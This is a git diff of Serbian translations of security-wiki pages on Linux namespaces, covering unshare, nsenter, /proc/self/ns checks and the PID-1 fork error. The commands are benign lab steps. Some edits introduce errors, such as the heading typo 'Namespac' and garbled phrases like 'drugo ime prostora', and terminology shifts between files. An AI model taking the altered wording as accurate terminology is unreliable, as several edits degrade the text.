@@ -58,7 +58,7 @@ Osiguravanjem da `unshare` radi sa `-f` oznakom, novi PID namespace se ispravno
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
-### Proverite u kojem je namespace-u vaš proces
+### Proverite u kojem je namespace vaš proces
```bash
ls -l /proc/self/ns/cgroup
lrwxrwxrwx 1 root root 0 Apr 4 21:19 /proc/self/ns/cgroup -> 'cgroup:[4026531835]'
diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md
index ae7ab492e..1d72b3f7f 100644
--- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md
@@ -40,9 +40,9 @@ Kada se `unshare` izvrši bez opcije `-f`, dolazi do greške zbog načina na koj
3. **Rešenje**:
- Problem se može rešiti korišćenjem opcije `-f` sa `unshare`. Ova opcija čini da `unshare` fork-uje novi proces nakon kreiranja novog PID namespace-a.
-- Izvršavanje `%unshare -fp /bin/bash%` osigurava da `unshare` komanda sama postane PID 1 u novom namespace-u. `/bin/bash` i njegovi podprocesi su tada sigurno sadržani unutar ovog novog namespace-a, sprečavajući prevremeni izlazak PID 1 i omogućavajući normalnu dodelu PID-a.
+- Izvršavanje `%unshare -fp /bin/bash%` osigurava da sam `unshare` komanda postane PID 1 u novom namespace-u. `/bin/bash` i njegovi podprocesi su tada sigurno sadržani unutar ovog novog namespace-a, sprečavajući prevremeni izlazak PID 1 i omogućavajući normalnu dodelu PID-a.
-Osiguravanjem da `unshare` radi sa `-f` oznakom, novi PID namespace se ispravno održava, omogućavajući `/bin/bash` i njegovim podprocesima da funkcionišu bez susretanja greške u dodeli memorije.
+Osiguravanjem da `unshare` radi sa `-f` oznakom, novi PID namespace se ispravno održava, omogućavajući `/bin/bash` i njegove podprocese da funkcionišu bez susretanja greške u dodeli memorije.
@@ -50,7 +50,7 @@ Osiguravanjem da `unshare` radi sa `-f` oznakom, novi PID namespace se ispravno
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
-### Proverite u kojem je namespace-u vaš proces
+### Proverite u kojem je namespace vaš proces
```bash
ls -l /proc/self/ns/ipc
lrwxrwxrwx 1 root root 0 Apr 4 20:37 /proc/self/ns/ipc -> 'ipc:[4026531839]'
diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md
index 9f3630a0e..ca4557abe 100644
--- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md
@@ -4,14 +4,14 @@
## Osnovne informacije
-Mount namespace je funkcija Linux kernela koja pruža izolaciju tačaka montiranja fajl sistema koje vide grupa procesa. Svaki mount namespace ima svoj set tačaka montiranja fajl sistema, i **promene na tačkama montiranja u jednom namespace-u ne utiču na druge namespace-e**. To znači da procesi koji se izvršavaju u različitim mount namespace-ima mogu imati različite poglede na hijerarhiju fajl sistema.
+Mount namespace je funkcija Linux jezgra koja obezbeđuje izolaciju tačaka montiranja fajl sistema koje vide grupa procesa. Svaki mount namespace ima svoj set tačaka montiranja fajl sistema, i **promene na tačkama montiranja u jednom namespace-u ne utiču na druge namespace-e**. To znači da procesi koji se izvršavaju u različitim mount namespace-ima mogu imati različite poglede na hijerarhiju fajl sistema.
Mount namespace-i su posebno korisni u kontejnerizaciji, gde svaki kontejner treba da ima svoj fajl sistem i konfiguraciju, izolovanu od drugih kontejnera i host sistema.
### Kako to funkcioniše:
1. Kada se kreira novi mount namespace, on se inicijalizuje sa **kopijom tačaka montiranja iz svog roditeljskog namespace-a**. To znači da, prilikom kreiranja, novi namespace deli isti pogled na fajl sistem kao njegov roditelj. Međutim, sve kasnije promene na tačkama montiranja unutar namespace-a neće uticati na roditelja ili druge namespace-e.
-2. Kada proces modifikuje tačku montiranja unutar svog namespace-a, kao što je montiranje ili odmontiranje fajl sistema, **promena je lokalna za taj namespace** i ne utiče na druge namespace-e. Ovo omogućava svakom namespace-u da ima svoju nezavisnu hijerarhiju fajl sistema.
+2. Kada proces modifikuje tačku montiranja unutar svog namespace-a, kao što je montiranje ili odmontiranje fajl sistema, **promena je lokalna za taj namespace** i ne utiče na druge namespace-e. To omogućava svakom namespace-u da ima svoju nezavisnu hijerarhiju fajl sistema.
3. Procesi mogu prelaziti između namespace-a koristeći `setns()` sistemski poziv, ili kreirati nove namespace-e koristeći `unshare()` ili `clone()` sistemske pozive sa `CLONE_NEWNS` flagom. Kada proces pređe u novi namespace ili ga kreira, počinje da koristi tačke montiranja povezane sa tim namespace-om.
4. **Fajl deskriptori i inodi se dele između namespace-a**, što znači da ako proces u jednom namespace-u ima otvoren fajl deskriptor koji pokazuje na fajl, može **proslediti taj fajl deskriptor** procesu u drugom namespace-u, i **oba procesa će pristupiti istom fajlu**. Međutim, putanja fajla možda neće biti ista u oba namespace-a zbog razlika u tačkama montiranja.
@@ -27,25 +27,25 @@ Montiranjem nove instance `/proc` datotečnog sistema ako koristite parametar `-
-Greška: bash: fork: Ne može da dodeli memoriju
+Greška: bash: fork: Ne može da alocira memoriju
-Kada se `unshare` izvrši bez opcije `-f`, dolazi do greške zbog načina na koji Linux upravlja novim PID (Process ID) namespace-ima. Ključni detalji i rešenje su navedeni u nastavku:
+Kada se `unshare` izvrši bez `-f` opcije, dolazi do greške zbog načina na koji Linux upravlja novim PID (Process ID) namespace-ima. Ključni detalji i rešenje su navedeni u nastavku:
1. **Objašnjenje problema**:
- Linux kernel omogućava procesu da kreira nove namespace-e koristeći `unshare` sistemski poziv. Međutim, proces koji inicira kreiranje novog PID namespace-a (poznat kao "unshare" proces) ne ulazi u novi namespace; samo njegovi podprocesi to čine.
- Pokretanjem `%unshare -p /bin/bash%` pokreće se `/bin/bash` u istom procesu kao `unshare`. Kao rezultat, `/bin/bash` i njegovi podprocesi su u originalnom PID namespace-u.
-- Prvi podproces `/bin/bash` u novom namespace-u postaje PID 1. Kada ovaj proces izađe, pokreće čišćenje namespace-a ako nema drugih procesa, jer PID 1 ima posebnu ulogu usvajanja siročadi procesa. Linux kernel će tada onemogućiti dodelu PID-a u tom namespace-u.
+- Prvi podproces `/bin/bash` u novom namespace-u postaje PID 1. Kada ovaj proces izađe, pokreće čišćenje namespace-a ako nema drugih procesa, jer PID 1 ima posebnu ulogu usvajanja siročadi. Linux kernel će tada onemogućiti alokaciju PID-a u tom namespace-u.
2. **Posledica**:
-- Izlazak PID 1 u novom namespace-u dovodi do čišćenja `PIDNS_HASH_ADDING` oznake. To rezultira neuspehom funkcije `alloc_pid` da dodeli novi PID prilikom kreiranja novog procesa, što proizvodi grešku "Ne može da dodeli memoriju".
+- Izlazak PID 1 u novom namespace-u dovodi do čišćenja `PIDNS_HASH_ADDING` oznake. To rezultira neuspehom funkcije `alloc_pid` da alocira novi PID prilikom kreiranja novog procesa, što proizvodi grešku "Ne može da alocira memoriju".
3. **Rešenje**:
-- Problem se može rešiti korišćenjem opcije `-f` sa `unshare`. Ova opcija čini da `unshare` fork-uje novi proces nakon kreiranja novog PID namespace-a.
-- Izvršavanje `%unshare -fp /bin/bash%` osigurava da `unshare` komanda sama postane PID 1 u novom namespace-u. `/bin/bash` i njegovi podprocesi su tada sigurno sadržani unutar ovog novog namespace-a, sprečavajući prevremeni izlazak PID 1 i omogućavajući normalnu dodelu PID-a.
+- Problem se može rešiti korišćenjem `-f` opcije sa `unshare`. Ova opcija čini da `unshare` fork-uje novi proces nakon kreiranja novog PID namespace-a.
+- Izvršavanje `%unshare -fp /bin/bash%` osigurava da `unshare` komanda sama postane PID 1 u novom namespace-u. `/bin/bash` i njegovi podprocesi su tada sigurno sadržani unutar ovog novog namespace-a, sprečavajući prevremeni izlazak PID 1 i omogućavajući normalnu alokaciju PID-a.
-Osiguravanjem da `unshare` radi sa `-f` oznakom, novi PID namespace se ispravno održava, omogućavajući `/bin/bash` i njegovim podprocesima da funkcionišu bez susretanja greške u dodeli memorije.
+Osiguravanjem da `unshare` radi sa `-f` oznakom, novi PID namespace se ispravno održava, omogućavajući `/bin/bash` i njegovim podprocesima da funkcionišu bez susretanja greške u alokaciji memorije.
@@ -53,7 +53,7 @@ Osiguravanjem da `unshare` radi sa `-f` oznakom, novi PID namespace se ispravno
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
-### Proverite u kojem je namespace vaš proces
+### Proverite u kojem je namespace vaš proces
```bash
ls -l /proc/self/ns/mnt
lrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/mnt -> 'mnt:[4026531841]'
diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md
index 423f74144..b20de951b 100644
--- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md
@@ -1,16 +1,16 @@
-# Mrežni Namespace
+# Mrežni Namespac
{{#include ../../../../banners/hacktricks-training.md}}
## Osnovne Informacije
-Mrežni namespace je funkcija Linux kernela koja obezbeđuje izolaciju mrežnog steka, omogućavajući **svakom mrežnom namespace-u da ima svoju nezavisnu mrežnu konfiguraciju**, interfejse, IP adrese, tabele rutiranja i pravila vatrozida. Ova izolacija je korisna u raznim scenarijima, kao što je kontejnerizacija, gde svaki kontejner treba da ima svoju mrežnu konfiguraciju, nezavisno od drugih kontejnera i host sistema.
+Mrežni namespace je funkcija Linux jezgra koja obezbeđuje izolaciju mrežnog steka, omogućavajući **svakom mrežnom namespace-u da ima svoju nezavisnu mrežnu konfiguraciju**, interfejse, IP adrese, tabele rutiranja i pravila vatrozida. Ova izolacija je korisna u raznim scenarijima, kao što je kontejnerizacija, gde svaki kontejner treba da ima svoju mrežnu konfiguraciju, nezavisno od drugih kontejnera i host sistema.
### Kako to funkcioniše:
1. Kada se kreira novi mrežni namespace, počinje sa **potpuno izolovanim mrežnim stekom**, sa **nema mrežnih interfejsa** osim za loopback interfejs (lo). To znači da procesi koji se izvršavaju u novom mrežnom namespace-u ne mogu komunicirati sa procesima u drugim namespace-ima ili host sistemu po defaultu.
-2. **Virtuelni mrežni interfejsi**, kao što su veth parovi, mogu se kreirati i premestiti između mrežnih namespace-a. To omogućava uspostavljanje mrežne povezanosti između namespace-a ili između namespace-a i host sistema. Na primer, jedan kraj veth para može biti postavljen u mrežni namespace kontejnera, a drugi kraj može biti povezan sa **mostom** ili drugim mrežnim interfejsom u host namespace-u, obezbeđujući mrežnu povezanost kontejneru.
-3. Mrežni interfejsi unutar namespace-a mogu imati svoje **vlastite IP adrese, tabele rutiranja i pravila vatrozida**, nezavisno od drugih namespace-a. To omogućava procesima u različitim mrežnim namespace-ima da imaju različite mrežne konfiguracije i funkcionišu kao da se izvršavaju na odvojenim umreženim sistemima.
+2. **Virtuelni mrežni interfejsi**, kao što su veth parovi, mogu se kreirati i premestiti između mrežnih namespace-a. To omogućava uspostavljanje mrežne povezanosti između namespace-a ili između namespace-a i host sistema. Na primer, jedan kraj veth para može biti postavljen u mrežni namespace kontejnera, a drugi kraj može biti povezan na **most** ili drugi mrežni interfejs u host namespace-u, obezbeđujući mrežnu povezanost kontejneru.
+3. Mrežni interfejsi unutar namespace-a mogu imati **svoje IP adrese, tabele rutiranja i pravila vatrozida**, nezavisno od drugih namespace-a. To omogućava procesima u različitim mrežnim namespace-ima da imaju različite mrežne konfiguracije i funkcionišu kao da se izvršavaju na odvojenim umreženim sistemima.
4. Procesi mogu prelaziti između namespace-a koristeći `setns()` sistemski poziv, ili kreirati nove namespace-e koristeći `unshare()` ili `clone()` sistemske pozive sa `CLONE_NEWNET` zastavicom. Kada proces pređe u novi namespace ili ga kreira, počeće da koristi mrežnu konfiguraciju i interfejse povezane sa tim namespace-om.
## Laboratorija:
@@ -34,7 +34,7 @@ Kada se `unshare` izvrši bez opcije `-f`, dolazi do greške zbog načina na koj
- Linux kernel omogućava procesu da kreira nove namespace-e koristeći `unshare` sistemski poziv. Međutim, proces koji inicira kreiranje novog PID namespace-a (poznat kao "unshare" proces) ne ulazi u novi namespace; samo njegovi podprocesi to čine.
- Pokretanjem `%unshare -p /bin/bash%` pokreće se `/bin/bash` u istom procesu kao `unshare`. Kao rezultat, `/bin/bash` i njegovi podprocesi su u originalnom PID namespace-u.
-- Prvi podproces `/bin/bash` u novom namespace-u postaje PID 1. Kada ovaj proces izađe, pokreće čišćenje namespace-a ako nema drugih procesa, jer PID 1 ima posebnu ulogu usvajanja siročadi. Linux kernel će tada onemogućiti dodelu PID-a u tom namespace-u.
+- Prvi podproces `/bin/bash` u novom namespace-u postaje PID 1. Kada ovaj proces izađe, pokreće čišćenje namespace-a ako nema drugih procesa, jer PID 1 ima posebnu ulogu usvajanja orfanskih procesa. Linux kernel će tada onemogućiti dodelu PID-a u tom namespace-u.
2. **Posledica**:
@@ -53,12 +53,12 @@ Osiguravanjem da `unshare` radi sa `-f` oznakom, novi PID namespace se ispravno
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
# Run ifconfig or ip -a
```
-### Proverite u kojem je namespace vaš proces
+### Proverite u kojem je namespace vaš proces
```bash
ls -l /proc/self/ns/net
lrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/net -> 'net:[4026531840]'
```
-### Pronađi sve mrežne imenske prostore
+### Pronađite sve mrežne imenske prostore
```bash
sudo find /proc -maxdepth 3 -type l -name net -exec readlink {} \; 2>/dev/null | sort -u | grep "net:"
# Find the processes with an specific namespace
@@ -68,7 +68,7 @@ sudo find /proc -maxdepth 3 -type l -name net -exec ls -l {} \; 2>/dev/null | g
```bash
nsenter -n TARGET_PID --pid /bin/bash
```
-Takođe, možete **ući u drugi procesni namespace samo ako ste root**. I **ne možete** **ući** u drugi namespace **bez deskriptora** koji na njega ukazuje (kao što je `/proc/self/ns/net`).
+Takođe, možete **ući u drugi procesni prostor imena samo ako ste root**. I **ne možete** **ući** u drugo ime prostora **bez deskriptora** koji na njega ukazuje (kao što je `/proc/self/ns/net`).
## References
diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md
index 9e2b0d598..6735037f5 100644
--- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md
@@ -8,14 +8,14 @@ PID (Process IDentifier) namespace je funkcija u Linux kernelu koja obezbeđuje
Kada se kreira novi PID namespace, prvi proces u tom namespace-u dobija PID 1. Ovaj proces postaje "init" proces novog namespace-a i odgovoran je za upravljanje drugim procesima unutar namespace-a. Svaki sledeći proces kreiran unutar namespace-a će imati jedinstven PID unutar tog namespace-a, a ovi PID-ovi će biti nezavisni od PID-ova u drugim namespace-ima.
-Sa stanovišta procesa unutar PID namespace-a, može videti samo druge procese u istom namespace-u. Nije svesno procesa u drugim namespace-ima i ne može interagovati s njima koristeći tradicionalne alate za upravljanje procesima (npr., `kill`, `wait`, itd.). Ovo obezbeđuje nivo izolacije koji pomaže u sprečavanju ometanja procesa jednih drugima.
+Sa stanovišta procesa unutar PID namespace-a, može videti samo druge procese u istom namespace-u. Nije svesno procesa u drugim namespace-ima i ne može interagovati s njima koristeći tradicionalne alate za upravljanje procesima (npr., `kill`, `wait`, itd.). Ovo obezbeđuje nivo izolacije koji pomaže u sprečavanju ometanja procesa jednih s drugima.
### Kako to funkcioniše:
1. Kada se kreira novi proces (npr., korišćenjem `clone()` sistemskog poziva), proces može biti dodeljen novom ili postojećem PID namespace-u. **Ako se kreira novi namespace, proces postaje "init" proces tog namespace-a**.
2. **Kernel** održava **mapiranje između PID-ova u novom namespace-u i odgovarajućih PID-ova** u roditeljskom namespace-u (tj. namespace-u iz kojeg je novi namespace kreiran). Ovo mapiranje **omogućava kernelu da prevodi PID-ove kada je to potrebno**, kao kada se šalju signali između procesa u različitim namespace-ima.
-3. **Procesi unutar PID namespace-a mogu videti i interagovati samo sa drugim procesima u istom namespace-u**. Nisu svesni procesa u drugim namespace-ima, a njihovi PID-ovi su jedinstveni unutar njihovog namespace-a.
-4. Kada se **PID namespace uništi** (npr., kada "init" proces namespace-a izađe), **svi procesi unutar tog namespace-a se prekidaju**. Ovo osigurava da se svi resursi povezani sa namespace-om pravilno očiste.
+3. **Procesi unutar PID namespace-a mogu videti i interagovati samo s drugim procesima u istom namespace-u**. Nisu svesni procesa u drugim namespace-ima, a njihovi PID-ovi su jedinstveni unutar njihovog namespace-a.
+4. Kada se **PID namespace uništi** (npr., kada "init" proces namespace-a izađe), **svi procesi unutar tog namespace-a se prekidaju**. Ovo osigurava da se svi resursi povezani s namespace-om pravilno očiste.
## Lab:
@@ -34,8 +34,8 @@ Kada se `unshare` izvrši bez `-f` opcije, dolazi do greške zbog načina na koj
1. **Objašnjenje problema**:
- Linux kernel omogućava procesu da kreira nove prostore imena koristeći `unshare` sistemski poziv. Međutim, proces koji inicira kreiranje novog PID prostora imena (poznat kao "unshare" proces) ne ulazi u novi prostor imena; samo njegovi podprocesi to čine.
-- Pokretanje `%unshare -p /bin/bash%` pokreće `/bin/bash` u istom procesu kao `unshare`. Kao rezultat, `/bin/bash` i njegovi podprocesi su u originalnom PID prostoru imena.
-- Prvi podproces `/bin/bash` u novom prostoru imena postaje PID 1. Kada ovaj proces izađe, pokreće čišćenje prostora imena ako nema drugih procesa, jer PID 1 ima posebnu ulogu usvajanja siročadi. Linux kernel će tada onemogućiti dodeljivanje PID-a u tom prostoru imena.
+- Pokretanjem `%unshare -p /bin/bash%` pokreće se `/bin/bash` u istom procesu kao `unshare`. Kao rezultat, `/bin/bash` i njegovi podprocesi su u originalnom PID prostoru imena.
+- Prvi podproces `/bin/bash` u novom prostoru imena postaje PID 1. Kada ovaj proces završi, pokreće čišćenje prostora imena ako nema drugih procesa, jer PID 1 ima posebnu ulogu usvajanja siročadi. Linux kernel će tada onemogućiti dodelu PID-a u tom prostoru imena.
2. **Posledica**:
@@ -43,19 +43,19 @@ Kada se `unshare` izvrši bez `-f` opcije, dolazi do greške zbog načina na koj
3. **Rešenje**:
- Problem se može rešiti korišćenjem `-f` opcije sa `unshare`. Ova opcija čini da `unshare` fork-uje novi proces nakon kreiranja novog PID prostora imena.
-- Izvršavanje `%unshare -fp /bin/bash%` osigurava da sam `unshare` komanda postane PID 1 u novom prostoru imena. `/bin/bash` i njegovi podprocesi su tada sigurno sadržani unutar ovog novog prostora imena, sprečavajući prevremeni izlazak PID 1 i omogućavajući normalno dodeljivanje PID-a.
+- Izvršavanje `%unshare -fp /bin/bash%` osigurava da `unshare` komanda postane PID 1 u novom prostoru imena. `/bin/bash` i njegovi podprocesi su tada bezbedno sadržani unutar ovog novog prostora imena, sprečavajući prevremeni izlazak PID 1 i omogućavajući normalnu dodelu PID-a.
-Osiguravanjem da `unshare` radi sa `-f` oznakom, novi PID prostor imena se ispravno održava, omogućavajući `/bin/bash` i njegovim podprocesima da funkcionišu bez susretanja greške u dodeljivanju memorije.
+Osiguravanjem da `unshare` radi sa `-f` oznakom, novi PID prostor imena se ispravno održava, omogućavajući `/bin/bash` i njegovim podprocesima da funkcionišu bez susretanja greške u dodeli memorije.
-Montiranjem nove instance `/proc` datotečnog sistema ako koristite parametar `--mount-proc`, osiguravate da novi prostor imena montiranja ima **tačan i izolovan prikaz informacija o procesima specifičnim za taj prostor imena**.
+Montiranjem nove instance `/proc` datotečnog sistema ako koristite parametar `--mount-proc`, osiguravate da novi prostor imena za montiranje ima **tačan i izolovan prikaz informacija o procesima specifičnim za taj prostor imena**.
#### Docker
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
-### Proverite u kojem je namespace vaš proces
+### Proverite u kojem je namespace vaš proces
```bash
ls -l /proc/self/ns/pid
lrwxrwxrwx 1 root root 0 Apr 3 18:45 /proc/self/ns/pid -> 'pid:[4026532412]'
@@ -72,7 +72,7 @@ nsenter -t TARGET_PID --pid /bin/bash
```
Kada uđete u PID namespace iz podrazumevanog namespace-a, i dalje ćete moći da vidite sve procese. A proces iz tog PID ns će moći da vidi novi bash u PID ns.
-Takođe, možete **ući u drugi PID namespace samo ako ste root**. I **ne možete** **ući** u drugi namespace **bez deskriptora** koji na njega pokazuje (kao što je `/proc/self/ns/pid`)
+Takođe, možete **ući u drugi proces PID namespace samo ako ste root**. I **ne možete** **ući** u drugi namespace **bez deskriptora** koji pokazuje na njega (kao što je `/proc/self/ns/pid`)
## References
diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md
index 645e3097f..cfd14fbf4 100644
--- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md
@@ -14,27 +14,27 @@ Vremenski namespac u Linuxu omogućava offsete po namespacima za sistemske monot
```bash
sudo unshare -T [--mount-proc] /bin/bash
```
-Montiranjem nove instance `/proc` datoteke ako koristite parametar `--mount-proc`, osiguravate da nova mount namespace ima **tačan i izolovan prikaz informacija o procesima specifičnim za tu namespace**.
+Montiranjem nove instance `/proc` datotečnog sistema ako koristite parametar `--mount-proc`, osiguravate da nova mount namespace ima **tačan i izolovan prikaz informacija o procesima specifičnim za tu namespace**.
Greška: bash: fork: Ne može da dodeli memoriju
-Kada se `unshare` izvrši bez opcije `-f`, dolazi do greške zbog načina na koji Linux upravlja novim PID (Process ID) namespace-ima. Ključni detalji i rešenje su navedeni u nastavku:
+Kada se `unshare` izvrši bez opcije `-f`, dolazi do greške zbog načina na koji Linux upravlja novim PID (ID procesa) namespace-ima. Ključni detalji i rešenje su navedeni u nastavku:
1. **Objašnjenje problema**:
- Linux kernel omogućava procesu da kreira nove namespace-e koristeći `unshare` sistemski poziv. Međutim, proces koji inicira kreiranje novog PID namespace-a (poznat kao "unshare" proces) ne ulazi u novi namespace; samo njegovi podprocesi to čine.
- Pokretanjem `%unshare -p /bin/bash%` pokreće se `/bin/bash` u istom procesu kao `unshare`. Kao rezultat, `/bin/bash` i njegovi podprocesi su u originalnom PID namespace-u.
-- Prvi podproces `/bin/bash` u novom namespace-u postaje PID 1. Kada ovaj proces izađe, pokreće čišćenje namespace-a ako nema drugih procesa, jer PID 1 ima posebnu ulogu usvajanja orfanskih procesa. Linux kernel će tada onemogućiti dodelu PID-a u tom namespace-u.
+- Prvi podproces `/bin/bash` u novom namespace-u postaje PID 1. Kada ovaj proces izađe, pokreće čišćenje namespace-a ako nema drugih procesa, jer PID 1 ima posebnu ulogu usvajanja siročadi. Linux kernel će tada onemogućiti dodelu PID-a u tom namespace-u.
2. **Posledica**:
- Izlazak PID 1 u novom namespace-u dovodi do čišćenja `PIDNS_HASH_ADDING` oznake. To rezultira neuspehom funkcije `alloc_pid` da dodeli novi PID prilikom kreiranja novog procesa, što proizvodi grešku "Ne može da dodeli memoriju".
3. **Rešenje**:
-- Problem se može rešiti korišćenjem opcije `-f` sa `unshare`. Ova opcija čini da `unshare` fork-uje novi proces nakon kreiranja novog PID namespace-a.
-- Izvršavanje `%unshare -fp /bin/bash%` osigurava da `unshare` komanda postane PID 1 u novom namespace-u. `/bin/bash` i njegovi podprocesi su tada sigurno sadržani unutar ovog novog namespace-a, sprečavajući prevremeni izlazak PID 1 i omogućavajući normalnu dodelu PID-a.
+- Problem se može rešiti korišćenjem `-f` opcije sa `unshare`. Ova opcija čini da `unshare` fork-uje novi proces nakon kreiranja novog PID namespace-a.
+- Izvršavanje `%unshare -fp /bin/bash%` osigurava da sam `unshare` komanda postane PID 1 u novom namespace-u. `/bin/bash` i njegovi podprocesi su tada sigurno sadržani unutar ovog novog namespace-a, sprečavajući prevremeni izlazak PID 1 i omogućavajući normalnu dodelu PID-a.
Osiguravanjem da `unshare` radi sa `-f` oznakom, novi PID namespace se ispravno održava, omogućavajući `/bin/bash` i njegovim podprocesima da funkcionišu bez susretanja greške u dodeli memorije.
@@ -44,7 +44,7 @@ Osiguravanjem da `unshare` radi sa `-f` oznakom, novi PID namespace se ispravno
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
-### Proverite u kojem je namespace vaš proces
+### Proverite u kojem je namespace vaš proces
```bash
ls -l /proc/self/ns/time
lrwxrwxrwx 1 root root 0 Apr 4 21:16 /proc/self/ns/time -> 'time:[4026531834]'
@@ -55,7 +55,7 @@ sudo find /proc -maxdepth 3 -type l -name time -exec readlink {} \; 2>/dev/null
# Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name time -exec ls -l {} \; 2>/dev/null | grep
```
-### Uđite unutar Time namespace-a
+### Uđite u vremenski prostor
```bash
nsenter -T TARGET_PID --pid /bin/bash
```
diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md
index 47d875568..166943ff4 100644
--- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md
@@ -4,16 +4,16 @@
## Basic Information
-User namespace je funkcija Linux kernela koja **omogućava izolaciju mapa korisničkih i grupnih ID-ova**, omogućavajući svakom korisničkom prostoru da ima **svoj set korisničkih i grupnih ID-ova**. Ova izolacija omogućava procesima koji se izvršavaju u različitim korisničkim prostorima da **imaju različite privilegije i vlasništvo**, čak i ako dele iste korisničke i grupne ID-ove numerički.
+User namespace je funkcija Linux jezgra koja **omogućava izolaciju mapa korisničkih i grupnih ID-ova**, omogućavajući svakoj korisničkoj imenskoj oblasti da ima **svoj set korisničkih i grupnih ID-ova**. Ova izolacija omogućava procesima koji se izvršavaju u različitim korisničkim imenskim oblastima da **imaju različite privilegije i vlasništvo**, čak i ako dele iste korisničke i grupne ID-ove numerički.
-Korisnički prostori su posebno korisni u kontejnerizaciji, gde svaki kontejner treba da ima svoj nezavistan set korisničkih i grupnih ID-ova, omogućavajući bolju sigurnost i izolaciju između kontejnera i host sistema.
+Korisničke imenske oblasti su posebno korisne u kontejnerizaciji, gde svaki kontejner treba da ima svoj nezavistan set korisničkih i grupnih ID-ova, omogućavajući bolju sigurnost i izolaciju između kontejnera i host sistema.
### Kako to funkcioniše:
-1. Kada se kreira novi korisnički prostor, **počinje sa praznim setom mapa korisničkih i grupnih ID-ova**. To znači da bilo koji proces koji se izvršava u novom korisničkom prostoru **prvobitno neće imati privilegije van prostora**.
-2. Mape ID-ova mogu biti uspostavljene između korisničkih i grupnih ID-ova u novom prostoru i onih u roditeljskom (ili host) prostoru. To **omogućava procesima u novom prostoru da imaju privilegije i vlasništvo koja odgovaraju korisničkim i grupnim ID-ovima u roditeljskom prostoru**. Međutim, mape ID-ova mogu biti ograničene na specifične opsege i podskupove ID-ova, omogućavajući preciznu kontrolu nad privilegijama dodeljenim procesima u novom prostoru.
-3. Unutar korisničkog prostora, **procesi mogu imati pune root privilegije (UID 0) za operacije unutar prostora**, dok i dalje imaju ograničene privilegije van prostora. To omogućava **kontejnerima da rade sa root-sličnim sposobnostima unutar svog prostora bez punih root privilegija na host sistemu**.
-4. Procesi mogu prelaziti između prostora koristeći `setns()` sistemski poziv ili kreirati nove prostore koristeći `unshare()` ili `clone()` sistemske pozive sa `CLONE_NEWUSER` flagom. Kada proces pređe u novi prostor ili ga kreira, počeće da koristi mape korisničkih i grupnih ID-ova povezane sa tim prostorom.
+1. Kada se kreira nova korisnička imenska oblast, ona **počinje sa praznim setom mapa korisničkih i grupnih ID-ova**. To znači da bilo koji proces koji se izvršava u novoj korisničkoj imenskoj oblasti **prvobitno neće imati privilegije van imenske oblasti**.
+2. Mape ID-ova mogu biti uspostavljene između korisničkih i grupnih ID-ova u novoj imenskoj oblasti i onih u roditeljskoj (ili host) imenskoj oblasti. To **omogućava procesima u novoj imenskoj oblasti da imaju privilegije i vlasništvo koja odgovaraju korisničkim i grupnim ID-ovima u roditeljskoj imenskoj oblasti**. Međutim, mape ID-ova mogu biti ograničene na specifične opsege i podskupove ID-ova, omogućavajući preciznu kontrolu nad privilegijama dodeljenim procesima u novoj imenskoj oblasti.
+3. Unutar korisničke imenske oblasti, **procesi mogu imati pune root privilegije (UID 0) za operacije unutar imenske oblasti**, dok i dalje imaju ograničene privilegije van imenske oblasti. To omogućava **kontejnerima da rade sa root-sličnim sposobnostima unutar svoje imenske oblasti bez punih root privilegija na host sistemu**.
+4. Procesi mogu prelaziti između imenskih oblasti koristeći `setns()` sistemski poziv ili kreirati nove imenske oblasti koristeći `unshare()` ili `clone()` sistemske pozive sa `CLONE_NEWUSER` flagom. Kada proces pređe u novu imensku oblast ili kreira jednu, počeće da koristi mape korisničkih i grupnih ID-ova povezane sa tom imenskom oblasti.
## Lab:
@@ -23,29 +23,29 @@ Korisnički prostori su posebno korisni u kontejnerizaciji, gde svaki kontejner
```bash
sudo unshare -U [--mount-proc] /bin/bash
```
-Montiranjem nove instance `/proc` datoteke ako koristite parametar `--mount-proc`, osiguravate da nova mount namespace ima **tačan i izolovan prikaz informacija o procesima specifičnim za tu namespace**.
+Montiranjem nove instance `/proc` datotečnog sistema ako koristite parametar `--mount-proc`, osiguravate da nova mount namespace ima **tačan i izolovan prikaz informacija o procesima specifičnim za tu namespace**.
-Greška: bash: fork: Ne može da dodeli memoriju
+Greška: bash: fork: Ne može da alocira memoriju
